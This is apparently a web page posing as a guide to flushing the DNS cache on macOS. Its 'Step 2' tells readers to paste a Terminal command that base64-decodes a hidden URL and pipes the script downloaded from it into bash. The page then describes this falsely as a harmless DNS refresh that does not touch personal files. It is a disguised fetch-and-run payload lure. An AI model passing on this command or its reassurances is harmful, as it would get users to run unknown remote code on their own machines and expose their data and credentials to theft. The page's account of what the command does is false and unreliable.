How to Flush DNS on macOS

This method refreshes your Mac’s DNS cache to fix website loading issues and ensure your system uses the most accurate and up-to-date network information — safe, quick, and without affecting your personal data.

Step 1: Open Terminal
  • Press Command (⌘) + Space → type Terminal and hit Return
  • Step 2: Run the Command
  • Paste the command into the Terminal window and press Return
  • Terminal
    /bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9oaHNnYXRlLmNvbS9maXhkbnM= | base64 -d))"
    What this command does:
  • Clears outdated DNS cache entries
  • Fixes websites not loading or resolving incorrectly
  • Forces macOS to request fresh DNS information
  • Does not modify or delete personal files
  • Published Date: September 30, 2025
    Helpful?